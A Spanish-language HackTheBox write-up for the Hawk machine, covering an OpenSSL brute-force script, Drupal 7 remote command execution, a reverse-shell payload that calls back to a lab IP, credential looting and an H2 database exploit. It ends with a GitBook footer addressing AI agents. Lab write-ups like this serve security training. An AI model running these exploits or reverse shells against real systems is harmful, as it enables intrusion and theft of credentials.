> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # Resolución de HackTheBox Hawk {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Fuerza bruta y descifrado de cifrado OpenSSL * Enumeración/Explotación de Drupal * Explotación de la base de datos H2 {% endhint %} ## Reconocimiento **Configuración del espacio de trabajo:** Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.
**Comprobación de conectividad VPN** Comprobando la conexión VPN para garantizar una comunicación estable con la máquina objetivo
**Descubrimiento de puertos abiertos con Nmap:** Explorando puertos abiertos y exportándolos al archivo "allPorts" en el directorio de Nmap. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```
**Análisis de puertos abiertos con extractPorts:** Usando la función extractPorts para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles (21,22,80,5435,9092)
#### Escaneo de versiones de puertos con Nmap: Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted": ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```
### Puerto 21 - FTP Nos conectamos como un **anonymous** usuario y descubrimos un archivo oculto llamado `.drupal.txt.enc`.
## Fuerza bruta - OpenSSH (.enc) > El **.enc** la extensión generalmente indica un **codificado** archivo (cifrado). Se usa para indicar que el contenido del archivo ha sido protegido por un algoritmo de cifrado, haciendo que los datos sean ilegibles sin la clave o contraseña apropiada. Estos archivos pueden contener cualquier tipo de datos (texto, imágenes, videos, etc.) y se usan comúnmente para proteger información sensible. El `.enc` el archivo está cifrado con un algoritmo **AES-256-CBC** y codificado en **Base64**.
**Paso 1: Decodificación de Base64** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```
**Paso 2: Descifrado con OpenSSL** Para descifrar el archivo, necesitamos una contraseña. Aquí está el comando para intentar el descifrado manual: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```
**Paso 3: Script de automatización para fuerza bruta** Usamos un script Bash para probar una lista de contraseñas (por ejemplo `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] Saliendo.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] La contraseña es : $password/n" exit 0 fi done; tput cnorm ``` **Resultado:** La contraseña encontrada es: **amigos**
#### **Mensaje descifrado** El archivo descifrado contiene una nueva contraseña: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 amigos ``` * **PencilKeyboardScanner123**
## Puerto 80 - HTTP El puerto 80 aloja un CMS Drupal 7. ```bash whatweb 10.10.10.102 ```
**Autenticación - Acceso con contraseña** Intenta conectarte con la `PencilKeyboardScanner123` contraseña del usuario `admin` y la autenticación tiene éxito.
### Shell inversa - Drupal 7 Usaremos el siguiente script para ejecutar comandos en un servidor Drupal de menos de 7 (CVE-2018-7602): {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` Este comando te permite ejecutar el `id` comando en el servidor.
**Acceso al servidor**/ Para establecer acceso al servidor, necesitamos escuchar en el puerto 443 con `nc` ```bash nc -nvlp 443 ``` Luego creas un `index.html` archivo con el siguiente contenido para establecer una shell inversa: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **Servidor web y ejecución de órdenes**/ Inicia un servidor HTTP con Python: ```bash python3 -m http.server 80 ``` Luego envía el siguiente comando para descargar y ejecutar el script: ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```
**Estabilización de la terminal** Para manejar la terminal, se usan los siguientes comandos: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Bandera user.txt :)
## **Escalada de privilegios** Explorando el directorio web en `/var/www/html`, se pueden ver varios archivos de configuración. Entre ellos, se identifica un archivo interesante:
**Ruta :** `sites/default/settings.php` Al revisar este archivo, encontramos información sensible: * Usuario: drupal * Contraseña: drupal4hawk
Estas credenciales se conectan a la base de datos MySQL. Para ello, se usan los siguientes comandos: ```bash mysql -u drupal -p ```
Después de introducir la contraseña, se enumeran todas las bases de datos disponibles y luego se selecciona la base de datos asociada con Drupal: ```sql show databases; use drupal; ``` Una vez en la base de datos, exploramos el contenido de la `users` tabla para encontrar información interesante: ``` SELECT * FROM users; ``` En esta tabla, encontramos una contraseña hasheada asociada a un usuario:
* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### Fuerza bruta con John - Hash de contraseña Usa John para romper el hash de la contraseña ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` Sin embargo, en este caso particular, no se encontró coincidencia en la `rockyou.txt` lista de contraseñas. ### Salir de Python a Bash normal Accedimos al servidor como un `daniel` usuario con una contraseña asociada a la base de datos (en este ejemplo, **drupal4hawk**). Aquí está el comando para conectarse: ```bash ssh daniel@10.10.10.182 ``` Contraseña: **drupal4hawk** Una vez conectados, estamos directamente en un intérprete de Python.
Para volver a una shell Bash normal, podemos usar el `módulo os de Python` para ejecutar un comando Bash. Aquí están los pasos: 1. Importar el módulo `módulo os de Python` : ```python import os ``` 2. Ejecuta una shell Bash: ```python os.system('/bin/bash') ``` Esto te permitirá acceder a una shell Bash normal desde el intérprete de Python.
## Explotación de la base de datos H2 /*/* Análisis de puertos abiertos/*/* Para empezar, enumeramos internamente los puertos abiertos usando el siguiente comando: ```bash netstat -tuln ``` Identificamos que el puerto **8082** está abierto y aloja un servicio. Al analizarlo, descubrimos que es un CMS de base de datos: **H2 Database**.
Para acceder a este servicio desde nuestra máquina, realizamos un reenvío de puertos con **SSH**, redirigiendo el puerto interno 8082 al puerto 8082 de nuestra máquina local:
### Reenvío de puertos Para acceder a este servicio desde nuestra máquina, realizamos un reenvío de puertos con **SSH**, redirigiendo el puerto interno 8082 al puerto 8082 de nuestra máquina local: ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### Base de datos H2:
Usamos **searchsploit** para buscar vulnerabilidades conocidas asociadas con la base de datos H2:
``` searchsploit -m java/webapps/45506.py ``` Encontramos una característica interesante que permite la ejecución remota de comandos: ```bash python3 45506.py -H 127.0.0.1:8082 ```
### Bandera root.txt :) El script nos permite ejecutar comandos en la máquina objetivo. Al navegar por el sistema, recuperamos la **flag root.txt**.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.